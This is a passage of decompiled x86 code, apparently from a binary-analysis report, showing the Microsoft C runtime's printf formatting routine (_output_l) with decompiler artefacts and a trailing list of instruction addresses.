																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6f;
																		if(__ecx == 0x6f) {
																			goto L56;
																		}
																		L53:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x75;
																		if( *( *(__ebp + 0xc)) == 0x75) {
																			goto L56;
																		}
																		L54:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *__ecx;
																		__eflags =  *__ecx - 0x78;
																		if( *__ecx == 0x78) {
																			goto L56;
																		}
																		L55:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x58;
																		if(__ecx != 0x58) {
																			 *(__ebp - 0x25c) = 0;
																			goto L9;
																		}
																		goto L56;
																	}
																	L48:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x32;
																	if( *((char*)(__ecx + 1)) != 0x32) {
																		goto L50;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																		 *(__ebp - 0x10) = __ecx;
																		goto L58;
																	}
																}
																L45:
																__ecx =  *(__ebp + 0xc);
																__edx =  *((char*)(__ecx + 1));
																__eflags =  *((char*)(__ecx + 1)) - 0x34;
																if( *((char*)(__ecx + 1)) != 0x34) {
																	goto L47;
																} else {
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00008000;
																	 *(__ebp - 0x10) = __ecx;
																	goto L58;
																}
															case 1:
																L59:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																goto L61;
															case 2:
																L40:
																__eax =  *(__ebp + 0xc);
																__ecx =  *( *(__ebp + 0xc));
																__eflags = __ecx - 0x6c;
																if(__ecx != 0x6c) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000010;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																} else {
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																}
																goto L61;
															case 3:
																L60:
																__eax =  *(__ebp - 0x10);
																__eax =  *(__ebp - 0x10) | 0x00000800;
																__eflags = __eax;
																 *(__ebp - 0x10) = __eax;
																goto L61;
															case 4:
																goto L61;
														}
													case 7:
														L62:
														__ecx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x30c) = __ecx;
														 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
														 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
														__eflags =  *(__ebp - 0x30c) - 0x37;
														if( *(__ebp - 0x30c) > 0x37) {
															while(1) {
																L181:
																__eflags =  *(_t668 - 0x28);
																if( *(_t668 - 0x28) != 0) {
																	goto L207;
																}
																goto L182;
															}
														}
														L63:
														_t148 =  *(__ebp - 0x30c) + 0x427fa4; // 0xcccccc0d
														__ecx =  *_t148 & 0x000000ff;
														switch( *((intOrPtr*)(__ecx * 4 +  &M00427F68))) {
															case 0:
																L114:
																 *(__ebp - 0x2c) = 1;
																__ecx =  *((char*)(__ebp - 0x251));
																__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																__eflags = __ecx;
																 *((char*)(__ebp - 0x251)) = __cl;
																goto L115;
															case 1:
																L64:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																__eflags =  *(__ebp - 0x10) & 0x00000830;
																if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																}
																goto L66;
															case 2:
																L79:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																__eflags =  *(__ebp - 0x10) & 0x00000830;
																if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																}
																goto L81;
															case 3:
																L138:
																 *(__ebp - 0x260) = 7;
																goto L140;
															case 4:
																L72:
																__eax = __ebp + 0x14;
																 *(__ebp - 0x284) = E00428150(__ebp + 0x14);
																__eflags =  *(__ebp - 0x284);
																if( *(__ebp - 0x284) == 0) {
																	L74:
																	__edx =  *0x440f80; // 0x404448
																	 *(__ebp - 4) = __edx;
																	__eax =  *(__ebp - 4);
																	 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																	L78:
																	goto L181;
																}
																L73:
																__ecx =  *(__ebp - 0x284);
																__eflags =  *(__ecx + 4);
																if( *(__ecx + 4) != 0) {
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																	__eflags =  *(__ebp - 0x10) & 0x00000800;
																	if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																		 *(__ebp - 0xc) = 0;
																		__edx =  *(__ebp - 0x284);
																		__eax =  *(__edx + 4);
																		 *(__ebp - 4) =  *(__edx + 4);
																		__ecx =  *(__ebp - 0x284);
																		__edx =  *__ecx;
																		 *(__ebp - 0x24) =  *__ecx;
																	} else {
																		__edx =  *(__ebp - 0x284);
																		__eax =  *(__edx + 4);
																		 *(__ebp - 4) =  *(__edx + 4);
																		__ecx =  *(__ebp - 0x284);
																		__eax =  *__ecx;
																		asm("cdq");
																		 *__ecx - __edx =  *__ecx - __edx >> 1;
																		 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																		 *(__ebp - 0xc) = 1;
																	}
																	goto L78;
																}
																goto L74;
															case 5:
																L115:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																__eax = __ebp - 0x248;
																 *(__ebp - 4) = __ebp - 0x248;
																 *(__ebp - 0x44) = 0x200;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) >= 0) {
																	L117:
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) != 0) {
																		L120:
																		__eflags =  *(__ebp - 0x30) - 0x200;
																		if( *(__ebp - 0x30) > 0x200) {
																			 *(__ebp - 0x30) = 0x200;
																		}
																		L122:
																		__eflags =  *(__ebp - 0x30) - 0xa3;
																		if( *(__ebp - 0x30) > 0xa3) {
																			 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																			 *(__ebp - 0x20) = L0041B540(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																			__eflags =  *(__ebp - 0x20);
																			if( *(__ebp - 0x20) == 0) {
																				 *(__ebp - 0x30) = 0xa3;
																			} else {
																				__eax =  *(__ebp - 0x20);
																				 *(__ebp - 4) =  *(__ebp - 0x20);
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																			}
																		}
																		 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																		 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																		__eax =  *(__ebp + 0x14);
																		_t275 = __eax - 8; // 0xe852f855
																		__ecx =  *_t275;
																		_t276 = __eax - 4; // 0xbc20
																		__edx =  *_t276;
																		 *(__ebp - 0x2a0) =  *_t275;
																		 *(__ebp - 0x29c) =  *_t276;
																		__ecx = __ebp - 0x40;
																		_push(E0041AAD0(__ebp - 0x40));
																		__eax =  *(__ebp - 0x2c);
																		_push( *(__ebp - 0x2c));
																		__ecx =  *(__ebp - 0x30);
																		_push( *(__ebp - 0x30));
																		__edx =  *((char*)(__ebp - 0x251));
																		_push( *((char*)(__ebp - 0x251)));
																		__eax =  *(__ebp - 0x44);
																		_push( *(__ebp - 0x44));
																		__ecx =  *(__ebp - 4);
																		_push( *(__ebp - 4));
																		__edx = __ebp - 0x2a0;
																		_push(__ebp - 0x2a0);
																		__eax =  *0x440374; // 0x2c9cf96e
																		__eax =  *__eax();
																		__esp = __esp + 0x1c;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) == 0) {
																				__ecx = __ebp - 0x40;
																				_push(E0041AAD0(__ebp - 0x40));
																				__edx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__eax =  *0x440380; // 0xac9cf9bd
																				__eax =  *__eax();
																				__esp = __esp + 8;
																			}
																		}
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																		if( *((char*)(__ebp - 0x251)) == 0x67) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																				__ecx = __ebp - 0x40;
																				_push(E0041AAD0(__ebp - 0x40));
																				__eax =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__ecx =  *0x44037c; // 0xac9cf9c2
																				E00424340(__ecx) =  *__eax();
																				__esp = __esp + 8;
																			}
																		}
																		__edx =  *(__ebp - 4);
																		__eax =  *( *(__ebp - 4));
																		__eflags =  *( *(__ebp - 4)) - 0x2d;
																		if( *( *(__ebp - 4)) == 0x2d) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																			__edx =  *(__ebp - 4);
																			__edx =  *(__ebp - 4) + 1;
																			__eflags = __edx;
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																		do {
																			L181:
																			__eflags =  *(_t668 - 0x28);
																			if( *(_t668 - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		} while ( *(__ebp - 0x30c) > 0x37);
																		goto L63;
																	}
																	L118:
																	__ecx =  *((char*)(__ebp - 0x251));
																	__eflags = __ecx - 0x67;
																	if(__ecx != 0x67) {
																		goto L120;
																	}
																	L119:
																	 *(__ebp - 0x30) = 1;
																	goto L122;
																}
																L116:
																 *(__ebp - 0x30) = 6;
																goto L122;
															case 6:
																L66:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																__eflags =  *(__ebp - 0x10) & 0x00000810;
																if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																	__ebp + 0x14 = E00428150(__ebp + 0x14);
																	 *(__ebp - 0x280) = __ax;
																	__cl =  *(__ebp - 0x280);
																	 *(__ebp - 0x248) = __cl;
																	 *(__ebp - 0x24) = 1;
																} else {
																	 *(__ebp - 0x27c) = 0;
																	__edx = __ebp + 0x14;
																	__eax = E00428190(__ebp + 0x14);
																	 *(__ebp - 0x258) = __ax;
																	__eax =  *(__ebp - 0x258) & 0x0000ffff;
																	__ecx = __ebp - 0x248;
																	__edx = __ebp - 0x24;
																	 *(__ebp - 0x27c) = E00434010(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																	__eflags =  *(__ebp - 0x27c);
																	if( *(__ebp - 0x27c) != 0) {
																		 *(__ebp - 0x28) = 1;
																	}
																}
																__edx = __ebp - 0x248;
																 *(__ebp - 4) = __ebp - 0x248;
																while(1) {
																	L181:
																	__eflags =  *(_t668 - 0x28);
																	if( *(_t668 - 0x28) != 0) {
																		goto L207;
																	}
																	goto L182;
																}
															case 7:
																L135:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *((intOrPtr*)(__ebp - 8)) = 0xa;
																L144:
																__eflags =  *(_t668 - 0x10) & 0x00008000;
																if(( *(_t668 - 0x10) & 0x00008000) == 0) {
																	_t615 =  *(_t668 - 0x10) & 0x00001000;
																	__eflags = _t615;
																	if(_t615 == 0) {
																		__eflags =  *(_t668 - 0x10) & 0x00000020;
																		if(( *(_t668 - 0x10) & 0x00000020) == 0) {
																			_t617 =  *(_t668 - 0x10) & 0x00000040;
																			__eflags = _t617;
																			if(_t617 == 0) {
																				_t476 = E00428150(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				__eflags = 0;
																				 *(_t668 - 0x2b0) = _t476;
																				 *(_t668 - 0x2ac) = 0;
																			} else {
																				_t549 = E00428150(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				asm("cdq");
																				 *(_t668 - 0x2b0) = _t549;
																				 *(_t668 - 0x2ac) = _t617;
																			}
																		} else {
																			_t665 =  *(_t668 - 0x10) & 0x00000040;
																			__eflags = _t665;
																			if(_t665 == 0) {
																				_t550 = E00428150(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				asm("cdq");
																				 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
																				 *(_t668 - 0x2ac) = _t665;
																			} else {
																				_t553 = E00428150(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				asm("cdq");
																				 *(_t668 - 0x2b0) = _t553;
																				 *(_t668 - 0x2ac) = _t665;
																			}
																		}
																	} else {
																		_t556 = E00428170(_t668 + 0x14);
																		_t670 = _t670 + 4;
																		 *(_t668 - 0x2b0) = _t556;
																		 *(_t668 - 0x2ac) = _t615;
																	}
																} else {
																	_t557 = E00428170(_t668 + 0x14);
																	_t670 = _t670 + 4;
																	 *(_t668 - 0x2b0) = _t557;
																	 *(_t668 - 0x2ac) = _t613;
																}
																__eflags =  *(_t668 - 0x10) & 0x00000040;
																if(( *(_t668 - 0x10) & 0x00000040) == 0) {
																	goto L161;
																}
															case 8:
																L100:
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x294) = E00428150(__ebp + 0x14);
																__eax = E00433CF0();
																__eflags = __eax;
																if(__eax != 0) {
																	L110:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																	__eflags =  *(__ebp - 0x10) & 0x00000020;
																	if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																		__edx =  *(__ebp - 0x294);
																		__eax =  *(__ebp - 0x24c);
																		 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																	} else {
																		__eax =  *(__ebp - 0x294);
																		 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																	}
																	 *(__ebp - 0x28) = 1;
																	while(1) {
																		L181:
																		__eflags =  *(_t668 - 0x28);
																		if( *(_t668 - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																}
																L101:
																__edx = 0;
																__eflags = 0;
																if(0 == 0) {
																	 *(__ebp - 0x314) = 0;
																} else {
																	 *(__ebp - 0x314) = 1;
																}
																__eax =  *(__ebp - 0x314);
																 *(__ebp - 0x298) =  *(__ebp - 0x314);
																__eflags =  *(__ebp - 0x298);
																if( *(__ebp - 0x298) == 0) {
																	_push(L"(\"\'n\' format specifier disabled\", 0)");
																	_push(0);
																	_push(0x695);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	__eax = L0041E000();
																	__esp = __esp + 0x14;
																	__eflags = __eax - 1;
																	if(__eax == 1) {
																		asm("int3");
																	}
																}
																__eflags =  *(__ebp - 0x298);
																if( *(__ebp - 0x298) != 0) {
																	L109:
																	while(1) {
																		L181:
																		__eflags =  *(_t668 - 0x28);
																		if( *(_t668 - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																} else {
																	L108:
																	 *((intOrPtr*)(L00422AF0(__ecx))) = 0x16;
																	__eax = E00422880(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																	 *(__ebp - 0x2e8) = 0xffffffff;
																	__ecx = __ebp - 0x40;
																	__eax = E0041AAA0(__ecx);
																	__eax =  *(__ebp - 0x2e8);
																	L211:
																	return E0042BAA0(_t497, _t558,  *(_t668 - 0x48) ^ _t668, _t631, _t666, _t667);
																}
															case 9:
																goto L0;
															case 0xa:
																L137:
																 *(__ebp - 0x30) = 8;
																goto L138;
															case 0xb:
																L81:
																__eflags =  *(__ebp - 0x30) - 0xffffffff;
																if( *(__ebp - 0x30) != 0xffffffff) {
																	__edx =  *(__ebp - 0x30);
																	 *(__ebp - 0x310) =  *(__ebp - 0x30);
																} else {
																	 *(__ebp - 0x310) = 0x7fffffff;
																}
																__eax =  *(__ebp - 0x310);
																 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																__ecx = __ebp + 0x14;
																 *(__ebp - 4) = E00428150(__ebp + 0x14);
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																__eflags =  *(__ebp - 0x10) & 0x00000810;
																if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																	L92:
																	__eflags =  *(__ebp - 4);
																	if( *(__ebp - 4) == 0) {
																		__edx =  *0x440f80; // 0x404448
																		 *(__ebp - 4) = __edx;
																	}
																	__eax =  *(__ebp - 4);
																	 *(__ebp - 0x288) =  *(__ebp - 4);
																	while(1) {
																		L95:
																		__ecx =  *(__ebp - 0x28c);
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			break;
																		}
																		L96:
																		__eax =  *(__ebp - 0x288);
																		__ecx =  *( *(__ebp - 0x288));
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			break;
																		}
																		L97:
																		 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																		 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																	}
																	L98:
																	__eax =  *(__ebp - 0x288);
																	__eax =  *(__ebp - 0x288) -  *(__ebp - 4);
																	__eflags = __eax;
																	 *(__ebp - 0x24) = __eax;
																	goto L99;
																} else {
																	L85:
																	__eflags =  *(__ebp - 4);
																	if( *(__ebp - 4) == 0) {
																		__eax =  *0x440f84; // 0x404438
																		 *(__ebp - 4) = __eax;
																	}
																	 *(__ebp - 0xc) = 1;
																	__ecx =  *(__ebp - 4);
																	 *(__ebp - 0x290) =  *(__ebp - 4);
																	while(1) {
																		L88:
																		__edx =  *(__ebp - 0x28c);
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		__eflags =  *(__ebp - 0x28c);
																		if( *(__ebp - 0x28c) == 0) {
																			break;
																		}
																		L89:
																		__ecx =  *(__ebp - 0x290);
																		__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																		__eflags =  *( *(__ebp - 0x290)) & 0x0000ffff;
																		if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																			break;
																		}
																		L90:
																		 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																		 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																	}
																	L91:
																	 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																	__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																	 *(__ebp - 0x24) = __ecx;
																	L99:
																	while(1) {
																		L181:
																		__eflags =  *(_t668 - 0x28);
																		if( *(_t668 - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																}
															case 0xc:
																L136:
																 *((intOrPtr*)(__ebp - 8)) = 0xa;
																while(1) {
																	L144:
																	__eflags =  *(_t668 - 0x10) & 0x00008000;
																	if(( *(_t668 - 0x10) & 0x00008000) == 0) {
																		_t615 =  *(_t668 - 0x10) & 0x00001000;
																		__eflags = _t615;
																		if(_t615 == 0) {
																			__eflags =  *(_t668 - 0x10) & 0x00000020;
																			if(( *(_t668 - 0x10) & 0x00000020) == 0) {
																				_t617 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t617;
																				if(_t617 == 0) {
																					_t476 = E00428150(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					__eflags = 0;
																					 *(_t668 - 0x2b0) = _t476;
																					 *(_t668 - 0x2ac) = 0;
																				} else {
																					_t549 = E00428150(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t549;
																					 *(_t668 - 0x2ac) = _t617;
																				}
																			} else {
																				_t665 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t665;
																				if(_t665 == 0) {
																					_t550 = E00428150(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
																					 *(_t668 - 0x2ac) = _t665;
																				} else {
																					_t553 = E00428150(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t553;
																					 *(_t668 - 0x2ac) = _t665;
																				}
																			}
																		} else {
																			_t556 = E00428170(_t668 + 0x14);
																			_t670 = _t670 + 4;
																			 *(_t668 - 0x2b0) = _t556;
																			 *(_t668 - 0x2ac) = _t615;
																		}
																	} else {
																		_t557 = E00428170(_t668 + 0x14);
																		_t670 = _t670 + 4;
																		 *(_t668 - 0x2b0) = _t557;
																		 *(_t668 - 0x2ac) = _t613;
																	}
																	__eflags =  *(_t668 - 0x10) & 0x00000040;
																	if(( *(_t668 - 0x10) & 0x00000040) == 0) {
																		goto L161;
																	}
																	goto L157;
																}
															case 0xd:
																L139:
																 *(__ebp - 0x260) = 0x27;
																L140:
																 *((intOrPtr*)(__ebp - 8)) = 0x10;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																	 *((char*)(__ebp - 0x14)) = 0x30;
																	 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																	__eflags =  *(__ebp - 0x260) + 0x51;
																	 *((char*)(__ebp - 0x13)) = __al;
																	 *(__ebp - 0x1c) = 2;
																}
																while(1) {
																	L144:
																	__eflags =  *(_t668 - 0x10) & 0x00008000;
																	if(( *(_t668 - 0x10) & 0x00008000) == 0) {
																		_t615 =  *(_t668 - 0x10) & 0x00001000;
																		__eflags = _t615;
																		if(_t615 == 0) {
																			__eflags =  *(_t668 - 0x10) & 0x00000020;
																			if(( *(_t668 - 0x10) & 0x00000020) == 0) {
																				_t617 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t617;
																				if(_t617 == 0) {
																					_t476 = E00428150(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					__eflags = 0;
																					 *(_t668 - 0x2b0) = _t476;
																					 *(_t668 - 0x2ac) = 0;
																				} else {
																					_t549 = E00428150(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t549;
																					 *(_t668 - 0x2ac) = _t617;
																				}
																			} else {
																				_t665 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t665;
																				if(_t665 == 0) {
																					_t550 = E00428150(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
																					 *(_t668 - 0x2ac) = _t665;
																				} else {
																					_t553 = E00428150(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t553;
																					 *(_t668 - 0x2ac) = _t665;
																				}
																			}
																		} else {
																			_t556 = E00428170(_t668 + 0x14);
																			_t670 = _t670 + 4;
																			 *(_t668 - 0x2b0) = _t556;
																			 *(_t668 - 0x2ac) = _t615;
																		}
																	} else {
																		_t557 = E00428170(_t668 + 0x14);
																		_t670 = _t670 + 4;
																		 *(_t668 - 0x2b0) = _t557;
																		 *(_t668 - 0x2ac) = _t613;
																	}
																	__eflags =  *(_t668 - 0x10) & 0x00000040;
																	if(( *(_t668 - 0x10) & 0x00000040) == 0) {
																		goto L161;
																	}
																	goto L157;
																}
															case 0xe:
																while(1) {
																	L181:
																	__eflags =  *(_t668 - 0x28);
																	if( *(_t668 - 0x28) != 0) {
																		goto L207;
																	}
																	goto L182;
																}
														}
													case 8:
														L21:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
														goto L24;
													case 9:
														L22:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
														goto L24;
													case 0xa:
														L20:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000001;
														 *(__ebp - 0x10) = __ecx;
														goto L24;
													case 0xb:
														L19:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
														goto L24;
													case 0xc:
														L23:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000008;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
														goto L24;
													case 0xd:
														L24:
														goto L209;
												}
											}
											L210:
											 *(_t668 - 0x2ec) =  *(_t668 - 0x24c);
											E0041AAA0(_t668 - 0x40);
											_t497 =  *(_t668 - 0x2ec);
											goto L211;
										}
									}
									L178:
									__eflags =  *(_t668 - 0x24);
									if( *(_t668 - 0x24) == 0) {
										L180:
										 *((intOrPtr*)(_t668 - 4)) =  *((intOrPtr*)(_t668 - 4)) - 1;
										 *((char*)( *((intOrPtr*)(_t668 - 4)))) = 0x30;
										_t605 =  *(_t668 - 0x24) + 1;
										__eflags = _t605;
										 *(_t668 - 0x24) = _t605;
										goto L181;
									}
									L179:
									__eflags =  *((char*)( *((intOrPtr*)(_t668 - 4)))) - 0x30;
									if( *((char*)( *((intOrPtr*)(_t668 - 4)))) == 0x30) {
										goto L181;
									}
									goto L180;
								}
								L174:
								asm("cdq");
								_t624 =  *(_t668 - 0x2b8);
								 *(_t668 - 0x2a4) = E00430570(_t624,  *(_t668 - 0x2b4),  *(_t668 - 8), _t623) + 0x30;
								asm("cdq");
								 *(_t668 - 0x2b8) = E004305F0( *(_t668 - 0x2b8),  *(_t668 - 0x2b4),  *(_t668 - 8), _t624);
								 *(_t668 - 0x2b4) = _t624;
								__eflags =  *(_t668 - 0x2a4) - 0x39;
								if( *(_t668 - 0x2a4) > 0x39) {
									_t628 =  *(_t668 - 0x2a4) +  *((intOrPtr*)(_t668 - 0x260));
									__eflags = _t628;
									 *(_t668 - 0x2a4) = _t628;
								}
								 *((char*)( *((intOrPtr*)(_t668 - 4)))) =  *(_t668 - 0x2a4);
								 *((intOrPtr*)(_t668 - 4)) =  *((intOrPtr*)(_t668 - 4)) - 1;
								L172:
								_t623 =  *(_t668 - 0x30) - 1;
								 *(_t668 - 0x30) =  *(_t668 - 0x30) - 1;
								__eflags =  *(_t668 - 0x30);
								if( *(_t668 - 0x30) > 0) {
									goto L174;
								}
								goto L173;
							}
						}
						L159:
						__eflags =  *(_t668 - 0x2b0);
						if( *(_t668 - 0x2b0) >= 0) {
							goto L161;
						}
						goto L160;
						L161:
						 *(_t668 - 0x2b8) =  *(_t668 - 0x2b0);
						 *(_t668 - 0x2b4) =  *(_t668 - 0x2ac);
						goto L162;
					}
				}
			}

0x004279fd
0x004279fd
0x004279fd
0x004279fd
0x00427a0d
0x00427a0f
0x00427a12
0x00427a12
0x00427a18
0x00427a18
0x00427a1b
0x00427a1b
0x00427a1e
0x00427a23
0x00427a45
0x00427a45
0x00427a4b
0x00427a6d
0x00427a70
0x00427ab7
0x00427ab7
0x00427aba
0x00427adb
0x00427ae0
0x00427ae3
0x00427ae5
0x00427aeb
0x00427abc
0x00427ac0
0x00427ac5
0x00427ac8
0x00427ac9
0x00427acf
0x00427acf
0x00427a72
0x00427a75
0x00427a75
0x00427a78
0x00427a9a
0x00427a9f
0x00427aa5
0x00427aa6
0x00427aac
0x00427a7a
0x00427a7e
0x00427a83
0x00427a87
0x00427a88
0x00427a8e
0x00427a8e
0x00427ab2
0x00427a4d
0x00427a51
0x00427a56
0x00427a59
0x00427a5f
0x00427a5f
0x00427a25
0x00427a29
0x00427a2e
0x00427a31
0x00427a37
0x00427a37
0x00427af4
0x00427af7
0x00000000
0x00000000
0x00427af9
0x00427af9
0x00427b00
0x00000000
0x00000000
0x00427b02
0x00427b02
0x00427b0d
0x00427b1b
0x00427b20
0x00427b26
0x00427b34
0x00427b51
0x00427b54
0x00427b59
0x00427b5e
0x00427b64
0x00427b72
0x00427b72
0x00427b7b
0x00427b7b
0x00427b64
0x00427b81
0x00427b85
0x00427b96
0x00427b99
0x00427ba0
0x00427ba2
0x00427ba2
0x00427b87
0x00427b87
0x00427b87
0x00427baf
0x00427bb5
0x00427bb7
0x00427bb7
0x00427bc1
0x00427bc4
0x00427bc4
0x00427bca
0x00427bcd
0x00427bd0
0x00427bd2
